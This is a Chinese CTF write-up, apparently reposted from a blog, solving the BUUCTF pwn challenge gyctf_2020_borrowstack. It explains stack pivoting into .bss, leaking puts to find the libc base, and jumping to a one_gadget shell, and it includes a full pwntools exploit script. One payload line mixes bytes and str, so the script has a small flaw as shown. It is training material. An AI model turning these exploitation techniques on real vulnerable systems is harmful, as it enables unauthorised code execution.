BUUCTF--gyctf_2020_borrowstack1

发布时间:2024年01月05日

这是一题栈迁移的题目,先看看保护:



黑盒测试:


用户可输入两次内容,接着看看IDA中具体程序流程:


我们看到溢出内容只有0x10的空间给我们布局,这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢,肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西,首先我们需要知道libc的基地址,因此我们需要通过puts函数来泄露。我们先看看最初栈的布局:

此时rip指向leave:


栈的内容:


leave指令做两件事:mov rsp,rbp;pop rbp.紧接着就是执行ret指令。

因此我们的思路明确了,需要覆盖掉old_rbp(图中手误大家理解就行)和返回地址。

old_rbp覆盖成我们的bss段,让rbp指过去,接着返回地址需要再调用一次leave。

问:(为何栈迁移需要两次调用leave?)

答:第一次调用是控制rbp到达想去的地方,第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了(不明白可以好好理解leave指令干的两件事)


因此我们的exp就能这样写了:

from pwn import *

#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703  # ROPgadget --binary gyctf_2020_borrowstack  --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9

gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave)    #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)     #leak puts_addr  
io.send(pl2)




io.recvline()

puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')

io.interactive()

下面我们看下步骤好的栈布局:


bss段上的内容:


此时劫持完rsp后效果是这样的:


接下来的操作基本都是pop,因此rsp是从低地址到高地址跑(每次pop,rsp+8),所以我们顺序布局就可以。

后续的操作就很简单,通过泄露的puts函数地址,计算出libc的基地址,当程序再次回到主函数时,直接将栈上的返回地址覆盖成one_gadget拿到权限。

puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下:


文章来源:https://blog.csdn.net/qq_30528603/article/details/135412373
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。